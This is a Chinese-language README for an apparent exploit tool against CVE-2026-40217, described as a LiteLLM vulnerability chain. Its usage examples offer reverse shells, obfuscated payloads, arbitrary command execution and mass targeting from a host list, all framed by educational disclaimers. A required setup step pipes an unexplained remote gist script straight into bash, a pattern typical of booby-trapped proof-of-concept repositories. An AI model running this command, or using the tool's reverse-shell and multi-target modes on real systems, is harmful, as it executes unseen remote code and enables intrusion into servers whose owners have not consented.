cve-id

⚡ 简单使用

请仅在安全且授权的环境中使用此项目，例如：

• 本地虚拟机
• Docker 容器
• 隔离的实验室环境
• 经过授权的渗透测试环境

示例设置：

git clone <repository-url>
cd <repository-name>

# 项目使用 Python，请按以下步骤操作

# 创建虚拟环境
python -m venv venv

# 激活虚拟环境

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# 安装依赖
pip install -r requirements.txt

示例用法：

# 帮助
python cve-2026-40217.py -h

# 单个目标 + 反向 Shell
python cve-2026-40217.py -t http://localhost:4000 -k "sk-..." --revshell --obfuscate 2

# 多目标 + 混淆
python cve-2026-40217.py -f targets.txt -k "sk-..." --obfuscate 3 -c "whoami; id"

# 自定义线程数
python cve-2026-40217.py -f targets.txt -k "sk-..." --threads 10

注意：

• 从其他项目克隆后，必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 来清除嵌套的 .git 目录

---

鸣谢或参考

• https://thehackernews.com/2026/06/litellm-vulnerability-chain-lets-low.html
• CVE-2026-40217-PoC-learner202649: https://github.com/learner202649/CVE-2026-40217-PoC

---

📚 教育性安全研究仓库

用于在受控环境中学习、测试和研究网络安全概念的一个仓库。

---

⚠️ 安全与法律免责声明

目的

本仓库仅用于教育和授权安全研究。

它旨在帮助用户了解以下内容：

• 安全漏洞
• 沙箱与隔离概念
• 安全编码与防御性实践

---

仅限授权使用

请仅在你拥有许可的环境中使用本仓库，例如：

• 个人实验室或虚拟机
• Docker 或隔离环境
• 经授权的渗透测试
• 网络安全培训或学术研究

严禁未经授权或非法使用。

---

不承担任何责任

作者和贡献者不对因本项目造成的任何损害、误用、法律问题或损失负责。

使用本仓库即表示你同意：

• 你对自己的行为负责
• 你将合法且合乎道德地使用它
• 本项目按**“现状”提供，不提供任何担保**

---

合乎道德的使用

本项目旨在用于：

• 防御性安全研究
• 网络安全教育
• 漏洞意识提升
• 安全系统与软件研究

请遵循负责任的披露实践，并遵守所有适用法律。

---

联系方式

如需进行负责任的披露或合作，请通过 GitHub 联系仓库维护者。